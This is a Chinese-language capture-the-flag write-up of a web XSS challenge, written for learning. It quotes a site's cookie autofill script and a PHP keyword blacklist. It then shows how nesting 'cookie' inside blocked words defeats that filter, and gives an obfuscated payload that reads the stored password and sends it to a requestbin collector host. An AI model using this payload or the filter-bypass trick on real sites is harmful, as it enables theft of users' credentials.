场景
注册账号登录
看到有个反馈
刚开始猜测是二次注入,但试了半天没成功啊,去看了wp才知道是xss。
xss题遇到的实在是不多,通过这题学习一下。
源码里有login.js,因为直接注册账号登录进去了所以直接被我忽略了。
//login.js
if (document.cookie && document.cookie != '') {
var cookies = document.cookie.split('; ');
var cookie = {};
for (var i = 0; i < cookies.length; i++) {
var arr = cookies[i].split('=');
var key = arr[0];
cookie[key] = arr[1];
}
if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
document.getElementsByName("username")[0].value = cookie['user'];
document.getElementsByName("password")[0].value = cookie['psw'];
}
}
在feedback界面源码里有提示。
if(is_array($feedback)){
echo "<script>alert('反馈不合法');</script>";
return false;
}
$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
foreach ($blacklist as $val) {
while(true){
if(stripos($feedback,$val) !== false){
$feedback = str_ireplace($val,"",$feedback);
}else{
break;
}
}
}
这里的黑名单是直接进行替换为空处理的,构造类似于inpcookieut就可以绕过。
根据题意应该是让我们获取密码。
http://http.requestbin.buuoj.cn/
这是个xss平台。
<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
var psw = docucookiement.getcookieElementsByName("password")[0].value;
docucookiement.locacookietion="http://http.requestbin.buuoj.cn/1is06vp1/?a="+psw;
</scrcookieipt>
在反馈页面提交,再在list页面点击刚刚提交的反馈,在xss平台看到flag。